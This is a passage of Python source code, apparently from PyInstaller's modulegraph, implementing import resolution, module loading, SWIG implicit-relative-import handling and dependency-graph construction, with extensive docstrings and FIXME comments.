                # is necessary.
                parent = self.find_node(pname)

        self.msgout(4, "determine_parent ->", parent)
        return parent


    def _find_head_package(
        self,
        source_package,
        target_module_partname,
        level=DEFAULT_IMPORT_LEVEL):
        """
        Import the target package providing the target module with the passed
        name to be subsequently imported from the previously imported source
        package corresponding to the passed graph node.

        Parameters
        ----------
        source_package : Package
            Graph node for the previously imported **source package** (i.e.,
            package containing the module containing the `import` statement
            triggering the call to this method) _or_ `None` if this module is
            to be imported in a "disconnected" manner. **Passing `None` is
            _not_ recommended.** See the `_import_hook()` method for further
            details.
        target_module_partname : str
            Partially-qualified name of the target module to be imported. See
            `_safe_import_hook()` for further details.
        level : int
            Whether to perform absolute or relative imports. See the
            `_safe_import_hook()` method for further details.

        Returns
        ----------
        (target_package, target_module_tailname)
            2-tuple describing the imported target package, where:
            * `target_package` is the graph node created for this package.
            * `target_module_tailname` is the unqualified name of the target
              module to be subsequently imported (e.g., `text` when passed a
              `target_module_partname` of `email.mime.text`).

        Raises
        ----------
        ImportError
            If the package to be imported is unimportable.
        """
        self.msgin(4, "find_head_package", source_package, target_module_partname, level)

        #FIXME: Rename all local variable names to something sensible. No,
        #"p_fqdn" is not a sensible name.

        # If this target module is a submodule...
        if '.' in target_module_partname:
            target_module_headname, target_module_tailname = (
                target_module_partname.split('.', 1))
        # Else, this target module is a top-level module.
        else:
            target_module_headname = target_module_partname
            target_module_tailname = ''

        # If attempting both absolute and relative imports...
        if level == ABSOLUTE_OR_RELATIVE_IMPORT_LEVEL:
            if source_package:
                target_package_name = source_package.identifier + '.' + target_module_headname
            else:
                target_package_name = target_module_headname
        # Else if attempting only absolute imports...
        elif level == ABSOLUTE_IMPORT_LEVEL:
            target_package_name = target_module_headname

            # Absolute import, ignore the parent
            source_package = None
        # Else if attempting only relative imports...
        else:
            if source_package is None:
                self.msg(2, "Relative import outside of package")
                raise InvalidRelativeImportError(
                    "Relative import outside of package (name=%r, parent=%r, level=%r)" % (
                        target_module_partname, source_package, level))

            for i in range(level - 1):
                if '.' not in source_package.identifier:
                    self.msg(2, "Relative import outside of package")
                    raise InvalidRelativeImportError(
                        "Relative import outside of package (name=%r, parent=%r, level=%r)" % (
                            target_module_partname, source_package, level))

                p_fqdn = source_package.identifier.rsplit('.', 1)[0]
                new_parent = self.find_node(p_fqdn)
                if new_parent is None:
                    #FIXME: Repetition detected. Exterminate. Exterminate.
                    self.msg(2, "Relative import outside of package")
                    raise InvalidRelativeImportError(
                        "Relative import outside of package (name=%r, parent=%r, level=%r)" % (
                            target_module_partname, source_package, level))

                assert new_parent is not source_package, (
                    new_parent, source_package)
                source_package = new_parent

            if target_module_headname:
                target_package_name = (
                    source_package.identifier + '.' + target_module_headname)
            else:
                target_package_name = source_package.identifier

        # Graph node of this target package.
        target_package = self._safe_import_module(
            target_module_headname, target_package_name, source_package)

        #FIXME: Why exactly is this necessary again? This doesn't quite seem
        #right but maybe it is. Shouldn't absolute imports only be performed if
        #the passed "level" is either "ABSOLUTE_IMPORT_LEVEL" or
        #"ABSOLUTE_OR_RELATIVE_IMPORT_LEVEL" -- or, more succinctly:
        #
        #    if level < 1:

        # If this target package is *NOT* importable and a source package was
        # passed, attempt to import this target package as an absolute import.
        if target_package is None and source_package is not None:
            target_package_name = target_module_headname
            source_package = None

            # Graph node for the target package, again.
            target_package = self._safe_import_module(
                target_module_headname, target_package_name, source_package)

        # If this target package is importable, return this package.
        if target_package is not None:
            self.msgout(4, "find_head_package ->", (target_package, target_module_tailname))
            return target_package, target_module_tailname

        # Else, raise an exception.
        self.msgout(4, "raise ImportError: No module named", target_package_name)
        raise ImportError("No module named " + target_package_name)




    #FIXME: Refactor from a generator yielding graph nodes into a non-generator
    #returning a list or tuple of all yielded graph nodes. This method is only
    #called once above and the return value of that call is only iterated over
    #as a list or tuple. There's no demonstrable reason for this to be a
    #generator. Generators are great for their intended purposes (e.g., as
    #continuations). This isn't one of those purposes.
    def _import_importable_package_submodules(self, package, attr_names):
        """
        Generator importing and yielding each importable submodule (of the
        previously imported package corresponding to the passed graph node)
        whose unqualified name is in the passed list.

        Elements of this list that are _not_ importable submodules of this
        package are either:

        * Ignorable attributes (e.g., classes, globals) defined at the top
          level of this package's `__init__` submodule, which will be ignored.
        * Else, unignorable unimportable submodules, in which case an
          exception is raised.

        Parameters
        ----------
        package : Package
            Graph node of the previously imported package containing the
            modules to be imported and yielded.

        attr_names : list
            List of the unqualified names of all attributes of this package to
            attempt to import as submodules. This list will be internally
            converted into a set, safely ignoring any duplicates in this list
            (e.g., reducing the "from"-style import
            `from foo import bar, car, far, bar, car, far` to merely
            `from foo import bar, car, far`).

        Yields
        ----------
        Node
            Graph node created for the currently imported submodule.

        Raises
        ----------
        ImportError
            If any attribute whose name is in `attr_names` is neither:
            * An importable submodule of this package.
            * An ignorable global attribute (e.g., class, variable) defined at
              the top level of this package's `__init__` submodule.
            In this case, this attribute _must_ be an unimportable submodule of
            this package.
        """

        # Ignore duplicate submodule names in the passed list.
        attr_names = set(attr_names)
        self.msgin(4, "_import_importable_package_submodules", package, attr_names)

        #FIXME: This test *SHOULD* be superfluous and hence safely removable.
        #The higher-level _scan_bytecode() and _collect_import() methods
        #already guarantee "*" characters to be removed from fromlists.
        if '*' in attr_names:
            attr_names.update(self._find_all_submodules(package))
            attr_names.remove('*')

        # self.msg(4, '_import_importable_package_submodules (global attrs)', package.identifier, package._global_attr_names)

        # For the name of each attribute to be imported from this package...
        for attr_name in attr_names:
            # self.msg(4, '_import_importable_package_submodules (fromlist attr)', package.identifier, attr_name)

            # Graph node of this attribute if this attribute is a previously
            # imported module or None otherwise.
            submodule = package.get_submodule_or_none(attr_name)

            # If this attribute is *NOT* a previously imported module, attempt
            # to import this attribute as a submodule of this package.
            if submodule is None:
                # Fully-qualified name of this submodule.
                submodule_name = package.identifier + '.' + attr_name

                # Graph node of this submodule if importable or None otherwise.
                submodule = self._safe_import_module(
                    attr_name, submodule_name, package)

                # If this submodule is unimportable...
                if submodule is None:
                    # If this attribute is a global (e.g., class, variable)
                    # defined at the top level of this package's "__init__"
                    # submodule, this importation is safely ignorable. Do so
                    # and skip to the next attribute.
                    #
                    # This behaviour is non-conformant with Python behaviour,
                    # which is bad, but is required to sanely handle all
                    # possible edge cases, which is good. In Python, a global
                    # attribute defined at the top level of a package's
                    # "__init__" submodule shadows a submodule of the same name
                    # in that package. Attempting to import that submodule
                    # instead imports that attribute; thus, that submodule is
                    # effectively unimportable. In this method and elsewhere,
                    # that submodule is tested for first and hence shadows that
                    # attribute -- the opposite logic. Attempts to import that
                    # attribute are mistakenly seen as attempts to import that
                    # submodule! Why?
                    #
                    # Edge cases. PyInstaller (and by extension ModuleGraph)
                    # only cares about module imports. Global attribute imports
                    # are parsed only as the means to this ends and are
                    # otherwise ignorable. The cost of erroneously shadowing:
                    #
                    # * Submodules by attributes is significant. Doing so
                    #   prevents such submodules from being frozen and hence
                    #   imported at application runtime.
                    # * Attributes by submodules is insignificant. Doing so
                    #   could erroneously freeze such submodules despite their
                    #   never being imported at application runtime. However,
                    #   ModuleGraph is incapable of determining with certainty
                    #   that Python logic in another module other than the
                    #   "__init__" submodule containing these attributes does
                    #   *NOT* delete these attributes and hence unshadow these
                    #   submodules, which would then become importable at
                    #   runtime and require freezing. Hence, ModuleGraph *MUST*
                    #   permissively assume submodules of the same name as
                    #   attributes to be unshadowed elsewhere and require
                    #   freezing -- even if they do not.
                    #
                    # It is practically difficult (albeit technically feasible)
                    # for ModuleGraph to determine whether or not the target
                    # attribute names of "from"-style import statements (e.g.,
                    # "bar" and "car" in "from foo import bar, car") refer to
                    # non-ignorable submodules or ignorable non-module globals
                    # during opcode scanning. Distinguishing these two cases
                    # during opcode scanning would require a costly call to the
                    # _find_module() method, which would subsequently be
                    # repeated during import-graph construction. This could be
                    # ameliorated with caching, which itself would require
                    # costly space consumption and developer time.
                    #
                    # Since opcode scanning fails to distinguish these two
                    # cases, this and other methods subsequently called at
                    # import-graph construction time (e.g.,
                    # _safe_import_hook()) must do so. Since submodules of the
                    # same name as attributes must assume to be unshadowed
                    # elsewhere and require freezing, the only solution is to
                    # attempt to import an attribute as a non-ignorable module
                    # *BEFORE* assuming an attribute to be an ignorable
                    # non-module. Which is what this and other methods do.
                    #
                    # See Package.is_global_attr() for similar discussion.
                    if package.is_global_attr(attr_name):
                        self.msg(4, '_import_importable_package_submodules: ignoring from-imported global', package.identifier, attr_name)
                        continue
                    # Else, this attribute is an unimportable submodule. Since
                    # this is *NOT* safely ignorable, raise an exception.
                    else:
                        raise ImportError("No module named " + submodule_name)

            # Yield this submodule's graph node to the caller.
            yield submodule

        self.msgin(4, "_import_importable_package_submodules ->")


    def _find_all_submodules(self, m):
        if not m.packagepath:
            return
        # 'suffixes' used to be a list hardcoded to [".py", ".pyc", ".pyo"].
        # But we must also collect Python extension modules - although
        # we cannot separate normal dlls from Python extensions.
        for path in m.packagepath:
            try:
                names = zipio.listdir(path)
            except (os.error, IOError):
                self.msg(2, "can't list directory", path)
                continue
            for name in names:
                for suffix in importlib.machinery.all_suffixes():
                    if path.endswith(suffix):
                        name = os.path.basename(path)[:-len(suffix)]
                        break
                else:
                    continue
                if name != '__init__':
                    yield name


    def alias_module(self, src_module_name, trg_module_name):
        """
        Alias the source module to the target module with the passed names.

        This method ensures that the next call to findNode() given the target
        module name will resolve this alias. This includes importing and adding
        a graph node for the source module if needed as well as adding a
        reference from the target to source module.

        Parameters
        ----------
        src_module_name : str
            Fully-qualified name of the existing **source module** (i.e., the
            module being aliased).
        trg_module_name : str
            Fully-qualified name of the non-existent **target module** (i.e.,
            the alias to be created).
        """
        self.msg(3, 'alias_module "%s" -> "%s"' % (src_module_name, trg_module_name))
        # print('alias_module "%s" -> "%s"' % (src_module_name, trg_module_name))
        assert isinstance(src_module_name, str), '"%s" not a module name.' % str(src_module_name)
        assert isinstance(trg_module_name, str), '"%s" not a module name.' % str(trg_module_name)

        # If the target module has already been added to the graph as either a
        # non-alias or as a different alias, raise an exception.
        trg_module = self.find_node(trg_module_name)
        if trg_module is not None and not (
           isinstance(trg_module, AliasNode) and
           trg_module.identifier == src_module_name):
            raise ValueError(
                'Target module "%s" already imported as "%s".' % (
                    trg_module_name, trg_module))

        # See findNode() for details.
        self.lazynodes[trg_module_name] = Alias(src_module_name)


    def add_module(self, module):
        """
        Add the passed module node to the graph if not already added.

        If that module has a parent module or package with a previously added
        node, this method also adds a reference from this module node to its
        parent node and adds this module node to its parent node's namespace.

        This high-level method wraps the low-level `addNode()` method, but is
        typically _only_ called by graph hooks adding runtime module nodes. For
        all other node types, the `import_module()` method should be called.

        Parameters
        ----------
        module : BaseModule
            Graph node of the module to be added.
        """
        self.msg(3, 'add_module', module)

        # If no node exists for this module, add such a node.
        module_added = self.find_node(module.identifier)
        if module_added is None:
            self.addNode(module)
        else:
            assert module == module_added, 'New module %r != previous %r.' % (module, module_added)

        # If this module has a previously added parent, reference this module to
        # its parent and add this module to its parent's namespace.
        parent_name, _, module_basename = module.identifier.rpartition('.')
        if parent_name:
            parent = self.find_node(parent_name)
            if parent is None:
                self.msg(4, 'add_module parent not found:', parent_name)
            else:
                self.add_edge(module, parent)
                parent.add_submodule(module_basename, module)


    def append_package_path(self, package_name, directory):
        """
        Modulegraph does a good job at simulating Python's, but it can not
        handle packagepath '__path__' modifications packages make at runtime.

        Therefore there is a mechanism whereby you can register extra paths
        in this map for a package, and it will be honored.

        NOTE: This method has to be called before a package is resolved by
              modulegraph.

        Parameters
        ----------
        module : str
            Fully-qualified module name.
        directory : str
            Absolute or relative path of the directory to append to the
            '__path__' attribute.
        """

        paths = self._package_path_map.setdefault(package_name, [])
        paths.append(directory)


    def _safe_import_module(
        self, module_partname, module_name, parent_module):
        """
        Create a new graph node for the module with the passed name under the
        parent package signified by the passed graph node _without_ raising
        `ImportError` exceptions.

        If this module has already been imported, this module's existing graph
        node will be returned; else if this module is importable, a new graph
        node will be added for this module and returned; else this module is
        unimportable, in which case `None` will be returned. Like the
        `_safe_import_hook()` method, this method does _not_ raise
        `ImportError` exceptions when this module is unimportable.

        Parameters
        ----------
        module_partname : str
            Unqualified name of the module to be imported (e.g., `text`).
        module_name : str
            Fully-qualified name of this module (e.g., `email.mime.text`).
        parent_module : Package
            Graph node of the previously imported parent module containing this
            submodule _or_ `None` if this is a top-level module (i.e.,
            `module_name` contains no `.` delimiters). This parent module is
            typically but _not_ always a package (e.g., the `os.path` submodule
            contained by the `os` module).

        Returns
        ----------
        Node
            Graph node created for this module _or_ `None` if this module is
            unimportable.
        """
        self.msgin(3, "safe_import_module", module_partname, module_name, parent_module)

        # If this module has *NOT* already been imported, do so.
        module = self.find_node(module_name)
        if module is None:
            # List of the absolute paths of all directories to be searched for
            # this module. This effectively defaults to "sys.path".
            search_dirs = None

            # If this module has a parent package...
            if parent_module is not None:
                # ...with a list of the absolute paths of all directories
                # comprising this package, prefer that to "sys.path".
                if parent_module.packagepath is not None:
                    search_dirs = parent_module.packagepath
                # Else, something is horribly wrong. Return emptiness.
                else:
                    self.msgout(3, "safe_import_module -> None (parent_parent.packagepath is None)")
                    return None

            try:
                pathname, loader = self._find_module(
                    module_partname, search_dirs, parent_module)
            except ImportError as exc:
                self.msgout(3, "safe_import_module -> None (%r)" % exc)
                return None

            (module, co) = self._load_module(module_name, pathname, loader)
            if co is not None:
                try:
                    if isinstance(co, ast.AST):
                        co_ast = co
                        co = compile(co_ast, pathname, 'exec', 0, True)
                    else:
                        co_ast = None
                    n = self._scan_code(module, co, co_ast)
                    self._process_imports(n)

                    if self.replace_paths:
                        co = self._replace_paths_in_code(co)
                    module.code = co
                except SyntaxError:
                    self.msg(
                        1, "safe_import_module: SyntaxError in ", pathname,
                    )
                    cls = InvalidSourceModule
                    module = self.createNode(cls, module_name)

        # If this is a submodule rather than top-level module...
        if parent_module is not None:
            self.msg(4, "safe_import_module create reference", module, "->", parent_module)

            # Add an edge from this submodule to its parent module.
            self._updateReference(
                module, parent_module, edge_data=DependencyInfo(
                    conditional=False,
                    fromlist=False,
                    function=False,
                    tryexcept=False,
            ))

            # Add this submodule to its parent module.
            parent_module.add_submodule(module_partname, module)

        # Return this module.
        self.msgout(3, "safe_import_module ->", module)
        return module

    def _load_module(self, fqname, pathname, loader):
        from importlib._bootstrap_external import ExtensionFileLoader
        self.msgin(2, "load_module", fqname, pathname,
                   loader.__class__.__name__)
        partname = fqname.rpartition(".")[-1]

        if loader.is_package(partname):
            if isinstance(loader, NAMESPACE_PACKAGE):
                # This is a PEP-420 namespace package.
                m = self.createNode(NamespacePackage, fqname)
                m.filename = '-'
                m.packagepath = loader.namespace_dirs[:]  # copy for safety
            else:
                # Regular package.
                #
                # NOTE: this might be a legacy setuptools (pkg_resources)
                # based namespace package (with __init__.py, but calling
                # `pkg_resources.declare_namespace(__name__)`). To properly
                # handle the case when such a package is split across
                # multiple locations, we need to resolve the package
                # paths via metadata.
                ns_pkgpaths = self._legacy_ns_packages.get(fqname, [])

                if isinstance(loader, ExtensionFileLoader):
                    m = self.createNode(ExtensionPackage, fqname)
                else:
                    m = self.createNode(Package, fqname)
                m.filename = pathname
                # PEP-302-compliant loaders return the pathname of the
                # `__init__`-file, not the package directory.
                assert os.path.basename(pathname).startswith('__init__.')
                m.packagepath = [os.path.dirname(pathname)] + ns_pkgpaths

            # As per comment at top of file, simulate runtime packagepath
            # additions
            m.packagepath = m.packagepath + self._package_path_map.get(
                fqname, [])

            if isinstance(m, NamespacePackage):
                return (m, None)

        co = None
        if loader is BUILTIN_MODULE:
            cls = BuiltinModule
        elif isinstance(loader, ExtensionFileLoader):
            cls = Extension
        else:
            try:
                src = loader.get_source(partname)
            except (UnicodeDecodeError, SyntaxError) as e:
                # The `UnicodeDecodeError` is typically raised here when the
                # source file contains non-ASCII characters in some local
                # encoding that is different from UTF-8, but fails to
                # declare it via PEP361 encoding header. Python seems to
                # be able to load and run such module, but we cannot retrieve
                # the source for it via the `loader.get_source()`.
                #
                # The `UnicodeDecoreError` in turn triggers a `SyntaxError`
                # when such invalid character appears on the first line of
                # the source file (and interrupts the scan for PEP361
                # encoding header).
                #
                # In such cases, we try to fall back to reading the source
                # as raw data file.

                # If `SyntaxError` was not raised during handling of
                # a `UnicodeDecodeError`, it was likely a genuine syntax
                # error, so re-raise it.
                if isinstance(e, SyntaxError):
                    if not isinstance(e.__context__, UnicodeDecodeError):
                        raise

                self.msg(2, "load_module: failed to obtain source for "
                         f"{partname}: {e}! Falling back to reading as "
                         "raw data!")

                path = loader.get_filename(partname)
                src = loader.get_data(path)

            if src is not None:
                try:
                    co = compile(src, pathname, 'exec', ast.PyCF_ONLY_AST,
                                 True)
                    cls = SourceModule
                    if sys.version_info[:2] == (3, 5):
                        # In Python 3.5 some syntax problems with async
                        # functions are only reported when compiling to
                        # bytecode
                        compile(co, '-', 'exec', 0, True)
                except SyntaxError:
                    co = None
                    cls = InvalidSourceModule
                except Exception as exc:  # FIXME: more specific?
                    cls = InvalidSourceModule
                    self.msg(2, "load_module: InvalidSourceModule", pathname,
                             exc)
            else:
                # no src available
                try:
                    co = loader.get_code(partname)
                    cls = (CompiledModule if co is not None
                           else InvalidCompiledModule)
                except Exception as exc:  # FIXME: more specific?
                    self.msg(2, "load_module: InvalidCompiledModule, "
                             "Cannot load code", pathname, exc)
                    cls = InvalidCompiledModule

        m = self.createNode(cls, fqname)
        m.filename = pathname

        self.msgout(2, "load_module ->", m)
        return (m, co)

    def _safe_import_hook(
        self, target_module_partname, source_module, target_attr_names,
        level=DEFAULT_IMPORT_LEVEL, edge_attr=None):
        """
        Import the module with the passed name and all parent packages of this
        module from the previously imported caller module signified by the
        passed graph node _without_ raising `ImportError` exceptions.

        This method wraps the lowel-level `_import_hook()` method. On catching
        an `ImportError` exception raised by that method, this method creates
        and adds a `MissingNode` instance describing the unimportable module to
        the graph instead.

        Parameters
        ----------
        target_module_partname : str
            Partially-qualified name of the module to be imported. If `level`
            is:
            * `ABSOLUTE_OR_RELATIVE_IMPORT_LEVEL` (e.g., the Python 2 default)
              or a positive integer (e.g., an explicit relative import), the
              fully-qualified name of this module is the concatenation of the
              fully-qualified name of the caller module's package and this
              parameter.
            * `ABSOLUTE_IMPORT_LEVEL` (e.g., the Python 3 default), this name
              is already fully-qualified.
            * A non-negative integer (e.g., `1`), this name is typically the
              empty string. In this case, this is a "from"-style relative
              import (e.g., "from . import bar") and the fully-qualified name
              of this module is dynamically resolved by import machinery.
        source_module : Node
            Graph node for the previously imported **caller module** (i.e.,
            module containing the `import` statement triggering the call to
            this method) _or_ `None` if this module is to be imported in a
            "disconnected" manner. **Passing `None` is _not_ recommended.**
            Doing so produces a disconnected graph in which the graph node
            created for the module to be imported will be disconnected and
            hence unreachable from all other nodes -- which frequently causes
            subtle issues in external callers (e.g., PyInstaller, which
            silently ignores unreachable nodes).
        target_attr_names : list
            List of the unqualified names of all submodules and attributes to
            be imported via a `from`-style import statement from this target
            module if any (e.g., the list `[encode_base64, encode_noop]` for
            the import `from email.encoders import encode_base64, encode_noop`)
            _or_ `None` otherwise. Ignored unless `source_module` is the graph
            node of a package (i.e., is an instance of the `Package` class).
            Why? Because:
            * Consistency. The `_import_importable_package_submodules()`
              method accepts a similar list applicable only to packages.
            * Efficiency. Unlike packages, modules cannot physically contain
              submodules. Hence, any target module imported via a `from`-style
              import statement as an attribute from another target parent
              module must itself have been imported in that target parent
              module. The import statement responsible for that import must
              already have been previously parsed by `ModuleGraph`, in which
              case that target module will already be frozen by PyInstaller.
              These imports are safely ignorable here.
        level : int
            Whether to perform an absolute or relative import. This parameter
            corresponds exactly to the parameter of the same name accepted by
            the `__import__()` built-in: "The default is -1 which indicates
            both absolute and relative imports will be attempted. 0 means only
            perform absolute imports. Positive values for level indicate the
            number of parent directories to search relative to the directory of
            the module calling `__import__()`." Defaults to -1 under Python 2
            and 0 under Python 3. Since this default depends on the major
            version of the current Python interpreter, depending on this
            default can result in unpredictable and non-portable behaviour.
            Callers are strongly recommended to explicitly pass this parameter
            rather than implicitly accept this default.

        Returns
        ----------
        list
            List of the graph nodes created for all modules explicitly imported
            by this call, including the passed module and all submodules listed
            in `target_attr_names` _but_ excluding all parent packages
            implicitly imported by this call. If `target_attr_names` is either
            `None` or the empty list, this is guaranteed to be a list of one
            element: the graph node created for the passed module. As above,
            `MissingNode` instances are created for all unimportable modules.
        """
        self.msg(3, "_safe_import_hook", target_module_partname, source_module, target_attr_names, level)

        def is_swig_candidate():
            return (source_module is not None and
                    target_attr_names is None and
                    level == ABSOLUTE_IMPORT_LEVEL and
                    type(source_module) is SourceModule and
                    target_module_partname ==
                      '_' + source_module.identifier.rpartition('.')[2] and
                    sys.version_info[0] == 3)

        def is_swig_wrapper(source_module):
            # TODO Define a new function util.open_text_file() performing
            # this logic, which is repeated numerous times in this module.
            # FIXME: Actually, can't we just use the new compat.open()
            # function to reliably open text files in a portable manner?
            with open(source_module.filename, 'rb') as source_module_file:
                encoding = util.guess_encoding(source_module_file)
            with open(source_module.filename, _READ_MODE, encoding=encoding) \
                    as source_module_file:
                first_line = source_module_file.readline()
            self.msg(5, 'SWIG wrapper candidate first line: %r' % (first_line))
            return "automatically generated by SWIG" in first_line


        # List of the graph nodes created for all target modules both
        # imported by and returned from this call, whose:
        #
        # * First element is the graph node for the core target module
        #   specified by the "target_module_partname" parameter.
        # * Remaining elements are the graph nodes for all target submodules
        #   specified by the "target_attr_names" parameter.
        target_modules = None

        # True if this is a Python 2-style implicit relative import of a
        # SWIG-generated C extension. False if we checked and it is not SWIG.
        # None if we haven't checked yet.
        is_swig_import = None

        # Attempt to import this target module in the customary way.
        try:
            target_modules = self.import_hook(
                target_module_partname, source_module,
                target_attr_names=None, level=level, edge_attr=edge_attr)
        # Failing that, defer to custom module importers handling non-standard
        # import schemes (namely, SWIG).
        except InvalidRelativeImportError:
            self.msgout(2, "Invalid relative import", level,
                        target_module_partname, target_attr_names)
            result = []
            for sub in target_attr_names or '*':
                m = self.createNode(InvalidRelativeImport,
                                    '.' * level + target_module_partname, sub)
                self._updateReference(source_module, m, edge_data=edge_attr)
                result.append(m)
            return result
        except ImportError as msg:
            # If this is an absolute top-level import under Python 3 and if the
            # name to be imported is the caller's name prefixed by "_", this
            # could be a SWIG-generated Python 2-style implicit relative import.
            # SWIG-generated files contain functions named swig_import_helper()
            # importing dynamic libraries residing in the same directory. For
            # example, a SWIG-generated caller module "csr.py" might resemble:
            #
            #     # This file was automatically generated by SWIG (http://www.swig.org).
            #     ...
            #     def swig_import_helper():
            #         ...
            #         try:
            #             fp, pathname, description = imp.find_module('_csr',
            #                   [dirname(__file__)])
            #         except ImportError:
            #             import _csr
            #             return _csr
            #
            # While there exists no reasonable means for modulegraph to parse
            # the call to imp.find_module(), the subsequent implicit relative
            # import is trivially parsable. This import is prohibited under
            # Python 3, however, and thus parsed only if the caller's file is
            # parsable plaintext (as indicated by a filetype of ".py") and the
            # first line of this file is the above SWIG header comment.
            #
            # The constraint that this library's name be the caller's name
            # prefixed by '_' is explicitly mandated by SWIG and thus a
            # reliable indicator of "SWIG-ness". The SWIG documentation states:
            # "When linking the module, the name of the output file has to match
            #  the name of the module prefixed by an underscore."
            #
            # Only source modules (e.g., ".py"-suffixed files) are SWIG import
            # candidates. All other node types are safely ignorable.
            if is_swig_candidate():
                self.msg(
                    4,
                    'SWIG import candidate (name=%r, caller=%r, level=%r)' % (
                        target_module_partname, source_module, level))
                is_swig_import = is_swig_wrapper(source_module)
                if is_swig_import:
                    # Convert this Python 2-compliant implicit relative
                    # import prohibited by Python 3 into a Python
                    # 3-compliant explicit relative "from"-style import for
                    # the duration of this function call by overwriting the
                    # original parameters passed to this call.
                    target_attr_names = [target_module_partname]
                    target_module_partname = ''
                    level = 1
                    self.msg(2,
                             'SWIG import (caller=%r, fromlist=%r, level=%r)'
                             % (source_module, target_attr_names, level))
                    # Import this target SWIG C extension's package.
                    try:
                        target_modules = self.import_hook(
                            target_module_partname, source_module,
                            target_attr_names=None,
                            level=level,
                            edge_attr=edge_attr)
                    except ImportError as msg:
                        self.msg(2, "SWIG ImportError:", str(msg))

            # If this module remains unimportable...
            if target_modules is None:
                self.msg(2, "ImportError:", str(msg))

                # Add this module as a MissingModule node.
                target_module = self.createNode(
                    MissingModule,
                    _path_from_importerror(msg, target_module_partname))
                self._updateReference(
                    source_module, target_module, edge_data=edge_attr)

                # Initialize this list to this node.
                target_modules = [target_module]

        # Ensure that the above logic imported exactly one target module.
        assert len(target_modules) == 1, (
            'Expected import_hook() to'
            'return only one module but received: {}'.format(target_modules))

        # Target module imported above.
        target_module = target_modules[0]

        if isinstance(target_module, MissingModule) \
           and is_swig_import is None and is_swig_candidate() \
           and is_swig_wrapper(source_module):
            # if this possible swig C module was previously imported from
            # a python module other than its corresponding swig python
            # module, then it may have been considered a MissingModule.
            # Try to reimport it now. For details see pull-request #2578
            # and issue #1522.
            #
            # If this module was takes as a SWIG candidate above, but failed
            # to import, this would be a MissingModule, too. Thus check if
            # this was the case (is_swig_import would be not None) to avoid
            # recursion error. If `is_swig_import` is None and we are still a
            # swig candidate then that means we haven't properly imported this
            # swig module yet so do that below.
            #
            # Remove the MissingModule node from the graph so that we can
            # attempt a reimport and avoid collisions. This node should be
            # fine to remove because the proper module will be imported and
            # added to the graph in the next line (call to _safe_import_hook).
            self.removeNode(target_module)
            # Reimport the SWIG C module relative to the wrapper
            target_modules = self._safe_import_hook(
                target_module_partname, source_module,
                target_attr_names=None, level=1, edge_attr=edge_attr)
            # return the output regardless because it would just be
            # duplicating the processing below
            return target_modules

        if isinstance(edge_attr, DependencyInfo):
            edge_attr = edge_attr._replace(fromlist=True)

        # If this is a "from"-style import *AND* this target module is a
        # package, import all attributes listed by the "import" clause of this
        # import that are submodules of this package. If this target module is
        # *NOT* a package, these attributes are always ignorable globals (e.g.,
        # classes, variables) defined at the top level of this module.
        #
        # If this target module is a non-package, it could still contain
        # importable submodules (e.g., the non-package `os` module containing
        # the `os.path` submodule). In this case, these submodules are already
        # imported by this target module's pure-Python code. Since our import
        # scanner already detects these imports, these submodules need *NOT* be
        # reimported here. (Doing so would be harmless but inefficient.)
        if target_attr_names and isinstance(target_module,
                                            (Package, AliasNode)):
            # For the name of each attribute imported from this target package
            # into this source module...
            for target_submodule_partname in target_attr_names:
                #FIXME: Is this optimization *REALLY* an optimization or at all
                #necessary? The findNode() method called below should already
                #be heavily optimized, in which case this optimization here is
                #premature, senseless, and should be eliminated.

                # If this attribute is a previously imported submodule of this
                # target module, optimize this edge case.
                if target_module.is_submodule(target_submodule_partname):
                    # Graph node for this submodule.
                    target_submodule = target_module.get_submodule(
                        target_submodule_partname)

                    #FIXME: What? Shouldn't "target_submodule" *ALWAYS* be
                    #non-None here? Assert this to be non-None instead.
                    if target_submodule is not None:
                        #FIXME: Why does duplication matter? List searches are
                        #mildly expensive.

                        # If this submodule has not already been added to the
                        # list of submodules to be returned, do so.
                        if target_submodule not in target_modules:
                            self._updateReference(
                                source_module,
                                target_submodule,
                                edge_data=edge_attr)
                            target_modules.append(target_submodule)
                        continue

                # Fully-qualified name of this submodule.
                target_submodule_name = (
                    target_module.identifier + '.' + target_submodule_partname)

                # Graph node of this submodule if previously imported or None.
                target_submodule = self.find_node(target_submodule_name)

                # If this submodule has not been imported, do so as if this
                # submodule were the only attribute listed by the "import"
                # clause of this import (e.g., as "from foo import bar" rather
                # than "from foo import car, far, bar").
                if target_submodule is None:
                    # Attempt to import this submodule.
                    try:
                        # Ignore the list of graph nodes returned by this
                        # method. If both this submodule's package and this
                        # submodule are importable, this method returns a
                        # 2-element list whose second element is this
                        # submodule's graph node. However, if this submodule's
                        # package is importable but this submodule is not,
                        # this submodule is either:
                        #
                        # * An ignorable global attribute defined at the top
                        #   level of this package's "__init__" submodule. In
                        #   this case, this method returns a 1-element list
                        #   without raising an exception.
                        # * A non-ignorable unimportable submodule. In this
                        #   case, this method raises an "ImportError".
                        #
                        # While the first two cases are disambiguatable by the
                        # length of this list, doing so would render this code
                        # dependent on import_hook() details subject to change.
                        # Instead, call findNode() to decide the truthiness.
                        self.import_hook(
                            target_module_partname, source_module,
                            target_attr_names=[target_submodule_partname],
                            level=level,
                            edge_attr=edge_attr)

                        # Graph node of this submodule imported by the prior
                        # call if importable or None otherwise.
                        target_submodule = self.find_node(target_submodule_name)

                        # If this submodule does not exist, this *MUST* be an
                        # ignorable global attribute defined at the top level
                        # of this package's "__init__" submodule.
                        if target_submodule is None:
                            # Assert this to actually be the case.
                            assert target_module.is_global_attr(
                                target_submodule_partname), (
                                'No global named {} in {}.__init__'.format(
                                    target_submodule_partname,
                                    target_module.identifier))

                            # Skip this safely ignorable importation to the
                            # next attribute. See similar logic in the body of
                            # _import_importable_package_submodules().
                            self.msg(4, '_safe_import_hook', 'ignoring imported non-module global', target_module.identifier, target_submodule_partname)
                            continue

                        # If this is a SWIG C extension, instruct PyInstaller
                        # to freeze this extension under its unqualified rather
                        # than qualified name (e.g., as "_csr" rather than
                        # "scipy.sparse.sparsetools._csr"), permitting the
                        # implicit relative import in its parent SWIG module to
                        # successfully find this extension.
                        if is_swig_import:
                            # If a graph node with this name already exists,
                            # avoid collisions by emitting an error instead.
                            if self.find_node(target_submodule_partname):
                                self.msg(
                                    2,
                                    'SWIG import error: %r basename %r '
                                    'already exists' % (
                                        target_submodule_name,
                                        target_submodule_partname))
                            else:
                                self.msg(
                                    4,
                                    'SWIG import renamed from %r to %r' % (
                                        target_submodule_name,
                                        target_submodule_partname))
                                target_submodule.identifier = (
                                    target_submodule_partname)
                    # If this submodule is unimportable, add a MissingModule.
                    except ImportError as msg:
                        self.msg(2, "ImportError:", str(msg))
                        target_submodule = self.createNode(
